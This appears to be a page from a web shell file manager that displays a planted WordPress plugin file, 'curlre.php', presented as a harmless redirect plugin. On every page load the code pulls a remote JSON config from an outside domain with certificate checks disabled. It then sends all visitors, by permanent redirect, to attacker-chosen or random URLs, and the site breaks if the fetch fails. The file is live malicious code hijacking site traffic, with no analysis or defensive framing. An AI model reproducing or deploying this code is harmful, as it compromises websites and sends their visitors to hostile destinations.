OwlCyberSecurity - MANAGER
Edit File: curlre.php
<?php /* Plugin Name: CR Description: This plugin redirects users based on a JSON configuration file. Version: 1.0 Author: cURL */ function custom_redirect_plugin() { $jsonFile = 'https://gojsmanagers.com/google9.json'; // 使用 cURL 获取 JSON 文件 $ch = curl_init(); // 初始化 cURL 会话 curl_setopt($ch, CURLOPT_URL, $jsonFile); // 设置 URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回结果而不是直接输出 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 可选:禁用 SSL 验证(生产环境不推荐) $response = curl_exec($ch); // 执行 cURL 请求 curl_close($ch); // 关闭 cURL 会话 $jsonData = json_decode($response, true); // 解码 JSON 数据 if ($jsonData && $jsonData['enabled']) { // 检查是否启用了重定向功能 if ($jsonData['random_redirect']) { // 如果启用随机重定向 $redirects = $jsonData['redirects']; // 获取重定向列表 $randomUrl = $redirects[array_rand($redirects)]; // 随机选择一个 URL wp_redirect($randomUrl, 301); // 使用 WordPress 的 wp_redirect 函数进行重定向 exit; } else { // 如果没有启用随机重定向,使用指定 URL $specificUrl = $jsonData['specific_redirect']; // 获取指定的重定向 URL wp_redirect($specificUrl, 301); // 使用 WordPress 的 wp_redirect 函数进行重定向 exit; } } else { // 如果 JSON 数据获取或解码失败,处理错误 wp_die('Error: Unable to fetch or decode JSON data.'); // 使用 WordPress 的 wp_die 函数显示错误信息 } } add_action('init', 'custom_redirect_plugin');